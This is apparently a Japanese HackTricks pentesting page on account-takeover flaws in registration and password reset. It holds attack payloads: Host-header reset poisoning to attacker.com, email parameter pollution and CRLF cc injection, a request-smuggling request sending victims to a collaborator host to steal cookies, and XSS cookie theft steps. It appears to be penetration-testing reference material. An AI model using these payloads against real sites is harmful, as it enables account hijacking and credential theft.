hacktricks/pentesting-web/registration-vulnerabilities.md
2023-07-07 23:42:27 +00:00

199 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 登録と乗っ取りの脆弱性
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
</details>
## 登録の乗っ取り
### 重複登録
* 既存のユーザー名を使用して生成しようとしてみてください
* メールを変えてみてください:
* 大文字
* \+1@
* メールに何か追加してください
* メール名に特殊文字を使用する(%00、%09、%20
* メールの後に黒い文字を入れてください:`test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
### ユーザー名の列挙
アプリケーション内で既にユーザー名が登録されているかどうかを確認してください。
### パスワードポリシー
ユーザーを作成する際にパスワードポリシーをチェックしてください(弱いパスワードを使用できるかどうかを確認してください)。\
その場合、資格情報のブルートフォースを試みることができます。
### SQLインジェクション
[**このページ**](sql-injection/#insert-statement)をチェックして、登録フォームでの**SQLインジェクション**を使用してアカウントの乗っ取りや情報の抽出を試みる方法を学びます。
### Oauthの乗っ取り
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### SAMLの脆弱性
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### メールの変更
登録後、メールを変更して、この変更が正しく検証されるか、または任意のメールに変更できるかを確認してください。
### その他のチェック
* **使い捨てメール**を使用できるかどうかを確認してください
* **長い** **パスワード**>200は**DoS**につながります
* アカウント作成の**レート制限**を確認してください
* username@**burp\_collab**.netを使用し、**コールバック**を分析してください
## **パスワードリセットの乗っ取り**
### リファラ経由のパスワードリセットトークンの漏洩 <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. メールアドレスに対してパスワードリセットをリクエストします
2. パスワードリセットリンクをクリックします
3. パスワードを変更しないでください
4. 3rdパーティのウェブサイトFacebook、Twitterをクリックします
5. Burp Suiteプロキシでリクエストをインターセプトします
6. リファラヘッダがパスワードリセットトークンを漏洩しているかどうかを確認します。
### パスワードリセットの改ざん <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Burp Suiteでパスワードリセットリクエストをインターセプトします
2. Burp Suiteで次のヘッダを追加または編集します`Host: attacker.com`、`X-Forwarded-Host: attacker.com`
3. 修正されたヘッダでリクエストを転送します\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. _hostヘッダ_に基づいたパスワードリセットURLを探します。例`https://attacker.com/reset-password.php?token=TOKEN`
### メールパラメータ経由のパスワードリセット <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### APIパラメーターにおけるIDOR <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
1. 攻撃者は自分のアカウントでログインし、**パスワード変更**機能に移動します。
2. Burp Suiteを起動し、リクエストをインターセプトします。
3. リクエストをリピータータブに送信し、パラメーターを編集しますユーザーID/メール\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### 弱いパスワードリセットトークン <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
パスワードリセットトークンはランダムに生成され、毎回一意である必要があります。\
トークンが期限切れになるか、常に同じかどうかを判断してください。一部の場合、生成アルゴリズムが弱く、推測される可能性があります。以下の変数がアルゴリズムで使用される場合があります。
* タイムスタンプ
* ユーザーID
* ユーザーのメールアドレス
* 名前と姓
* 生年月日
* 暗号化
* 数字のみ
* 小さなトークンシーケンス(\[A-Z,a-z,0-9]の文字)
* トークンの再利用
* トークンの有効期限
### パスワードリセットトークンの漏洩 <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. 特定のメールアドレスtest@mail.comに対してAPI/UIを使用してパスワードリセットリクエストをトリガーします。
2. サーバーのレスポンスを検査し、`resetToken`を確認します。
3. 次に、次のようなURLでトークンを使用します`https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
### ユーザー名の衝突によるパスワードリセット <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
1. ユーザー名が被害者のユーザー名と同じであるが、ユーザー名の前後に空白が挿入されたシステムに登録します。例:`"admin "`
2. 悪意のあるユーザー名でパスワードリセットをリクエストします。
3. メールで送信されたトークンを使用して被害者のパスワードをリセットします。
4. 新しいパスワードで被害者のアカウントに接続します。
この攻撃は、CTFdプラットフォームに対して有効でした。\
参照:[CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
### クロスサイトスクリプティングによるアカウント乗っ取り <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. アプリケーションまたはサブドメイン内でXSSを見つけますクッキーが親ドメインにスコープされている場合は、`*.domain.com`)。
2. 現在の**セッションクッキー**を漏洩させます。
3. クッキーを使用してユーザーとして認証します。
### HTTPリクエストスマグリングによるアカウント乗っ取り <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
1. **smuggler**を使用してHTTPリクエストスマグリングのタイプを検出しますCL、TE、CL.TE\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2. 次のデータで`POST / HTTP/1.1`を上書きするリクエストを作成します:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` 目的は、被害者をburpcollabにリダイレクトし、クッキーを盗むことです。\
3. 最終的なリクエストは以下のようになります。
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackeroneの報告によると、このバグを悪用する方法があります。
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### CSRFによるアカウント乗っ取り <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. CSRFのためのペイロードを作成します。例「パスワード変更のための自動送信HTMLフォーム」
2. ペイロードを送信します。
### JWTによるアカウント乗っ取り <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
JSON Web Tokenはユーザーの認証に使用される場合があります。
* 別のユーザーID/メールでJWTを編集します。
* 弱いJWT署名をチェックします。
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
## 参考文献
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>